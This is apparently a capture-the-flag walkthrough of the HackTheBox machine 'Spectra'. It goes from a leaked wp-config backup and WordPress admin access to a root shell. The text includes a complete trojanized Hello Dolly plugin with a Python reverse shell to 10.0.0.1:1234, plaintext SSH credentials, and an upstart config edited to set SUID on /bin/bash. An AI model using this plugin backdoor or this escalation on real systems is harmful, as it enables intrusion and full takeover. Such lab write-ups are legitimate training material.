PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.1 (protocol 2.0)
80/tcp open http nginx 1.17.4
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.17.4
3306/tcp open mysql MySQL (unauthorized)
Web Service (nginx - 80)
By clicking on any of these links, we are redirected to a hostname (spectra.htb).
The file "wp-config.php.save" caught my attention. We can't see the source code from a .php file, but if it's with any other extension we can, like ".php.txt" ou ".php.save".
Looking at the source code we see some interesting things.
We can try to log into wordpress with the user "administrator" that wpscan showed us, with the password "devteam01" that we see in this file.
I tried to change some php files, like the header files or some plugins. nothing worked. so I decided to put my own plugin with a reverse shell. For that, I got the "Hello Dolly" plugin (this plugin adds a phrase from the song "hello dolly" at the top of every dashboard page). So I took the only file that makes up this plugin and copied it to my machine, added a reverse shell, made it into a .zip file, uploaded it as a new plugin on the server, activated it, and got a shell.
my hello2.php
/**
* @package Hello_Dolly
* @version 1.7.2
*/
/*
Plugin Name: Hello Dolly
Plugin URI: http://wordpress.org/plugins/hello-dolly/
Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
Author: Matt Mullenweg
Version: 1.7.2
Author URI: http://ma.tt/
*/
function hello_dolly_get_lyric() {
/** These are the lyrics to Hello Dolly */
$lyrics = "Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
I feel the room swayin'
While the band's playin'
One of our old favorite songs from way back when
So, take her wrap, fellas
Dolly, never go away again
Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
I feel the room swayin'
While the band's playin'
One of our old favorite songs from way back when
So, golly, gee, fellas
Have a little faith in me, fellas
Dolly, never go away
Promise, you'll never go away
Dolly'll never go away again";
// Here we split it into lines.
$lyrics = explode( "\n", $lyrics );
// And then randomly choose a line.
return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] );
}
// This just echoes the chosen line, we'll position it later.
function hello_dolly() {
system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');
$chosen = hello_dolly_get_lyric();
$lang = '';
if ( 'en_' !== substr( get_user_locale(), 0, 3 ) ) {
$lang = ' lang="en"';
}
printf(
'<p id="dolly"><span class="screen-reader-text">%s </span><span dir="ltr"%s>%s</span></p>',
__( 'Quote from Hello Dolly song, by Jerry Herman:' ),
$lang,
$chosen
);
}
// Now we set that function up to execute when the admin_notices action is called.
add_action( 'admin_notices', 'hello_dolly' );
// We need some CSS to position the paragraph.
function dolly_css() {
echo "
<style type='text/css'>
#dolly {
float: right;
padding: 5px 10px;
margin: 0;
font-size: 12px;
line-height: 1.6666;
}
.rtl #dolly {
float: left;
}
.block-editor-page #dolly {
display: none;
}
@media screen and (max-width: 782px) {
#dolly,
.rtl #dolly {
float: none;
padding-left: 0;
padding-right: 0;
}
}
</style>
";
}
add_action( 'admin_head', 'dolly_css' );
(i put my reverse shell in the "hello_dolly()" function)
uploading the .zip file
by clicking "activate Plugin" we get our shell.
to improve our shell run:
bash -i
export TERM=xterm
User
after some enumerations, I looked at the /opt folder. Here we have something interesting.
looking at this configuration file we have that in "/etc/autologin/passwd" there is probably a password.
Now we have a password. Let's try to find out which user it belongs to. Looking at /etc/passwd this password seems to be for user "katie"
katie:x:20156:20157::/home/katie:/bin/bash
We can try to log in using ssh.
ssh katie@spectra.htb
password: SummerHereWeCome!!
Privilege escalation to root
With user katie we can run "sudo -l" and see that we have permission to run the "initctl" command as root.
sudo -l
User katie may run the following commands on spectra:
(ALL) SETENV: NOPASSWD: /sbin/initctl
"initctl" is a program for managing services. We can create, start, stop or restart a service using it. During the process of starting a service, we can request that it run some commands. We are going to look for a service that we can change this command configuration to run code as root.
cd /etc/init
nano test.conf
description "Test node.js server"
author "katie"
start on filesystem or runlevel [2345]
stop on shutdown
script
chmod +s /bin/bash
export HOME="/srv"
echo $$ > /var/run/nodetest.pid
exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js
end script
pre-start script
echo "[`date`] Node Test Starting" >> /var/log/nodetest.log
end script
pre-stop script
rm /var/run/nodetest.pid
echo "[`date`] Node Test Stopping" >> /var/log/nodetest.log
end script
I used the settings of the "test" service (test.conf file). I added "chmod +s /bin/bash" to the "script" section in this configuration file. When I run the command to start the service as root, it will run this command also as root. Then we just use "bash -p" to exploit this permission in bash and make it root.
(to put it simply: "chmod +s" turns the binary runnable as root)